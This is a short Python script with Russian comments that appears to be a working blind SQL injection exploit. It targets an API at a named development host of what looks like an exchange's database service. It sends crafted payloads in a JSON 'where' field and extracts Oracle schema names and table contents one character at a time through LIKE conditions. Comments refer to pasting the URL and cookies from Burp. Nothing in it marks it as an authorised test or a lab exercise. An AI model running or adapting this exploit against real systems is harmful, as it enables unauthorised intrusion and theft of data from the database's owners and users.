Загрузка данных


import requests
import sys

# --- НАСТРОЙКИ ---
URL = "http://icdb-dev.drksis.moex.com/api/..."  # ЗАМЕНИ НА ПОЛНЫЙ URL ИЗ BURP
HEADERS = {
    "Content-Type": "application/json",
    # "Cookie": "...", # Если нужны куки, добавь сюда
}
TAIL = "AND (('xSzM'='xSzM"

def check(condition):
    """Отправляет запрос и возвращает True, если условие истинно."""
    payload = f"1' )) AND {condition} {TAIL}"
    data = {
        "select": ["id"],
        "where": {
            "id": [payload],
            "isin": ["string"],
            "trade_code": ["string"]
        }
    }
    try:
        r = requests.post(URL, json=data, headers=HEADERS, timeout=10)
        # Маркер успеха: сервер вернул "id":"1"
        return '"id":"1"' in r.text
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

def extract_string(query, max_len=50):
    """Вытаскивает строку посимвольно через LIKE."""
    result = ""
    print(f"[*] Extracting: {query}")
    for i in range(1, max_len + 1):
        found = False
        for c in range(32, 127):  # Печатные ASCII символы
            test_str = result + chr(c)
            # Экранируем кавычки для LIKE
            escaped = test_str.replace("'", "''")
            # Используем LIKE, так как он работает
            cond = f"(SELECT {query} FROM dual) LIKE '{escaped}%'"
            
            if check(cond):
                result += chr(c)
                print(f"    [+] {result}")
                found = True
                break
        
        if not found:
            break
    return result

if __name__ == "__main__":
    print("[*] Starting extraction via LIKE...")
    
    # 1. Вытаскиваем имя первой таблицы в схеме ICDB
    # Запрос: SELECT table_name FROM (SELECT table_name FROM all_tables WHERE owner='ICDB' ORDER BY table_name) WHERE ROWNUM=1
    table_query = "(SELECT table_name FROM (SELECT table_name FROM all_tables WHERE owner='ICDB' ORDER BY table_name) WHERE ROWNUM=1)"
    table_name = extract_string(table_query)
    print(f"\n[!] First Table in ICDB: {table_name}")
    
    if table_name:
        # 2. Вытаскиваем первую колонку этой таблицы
        col_query = f"(SELECT column_name FROM (SELECT column_name FROM all_tab_columns WHERE table_name='{table_name}' AND owner='ICDB' ORDER BY column_name) WHERE ROWNUM=1)"
        col_name = extract_string(col_query)
        print(f"[!] First Column in {table_name}: {col_name}")
        
        # 3. Вытаскиваем данные из этой колонки (первую строку)
        if col_name:
            data_query = f"(SELECT {col_name} FROM (SELECT {col_name} FROM {table_name} ORDER BY 1) WHERE ROWNUM=1)"
            data_val = extract_string(data_query)
            print(f"[!] First Value in {table_name}.{col_name}: {data_val}")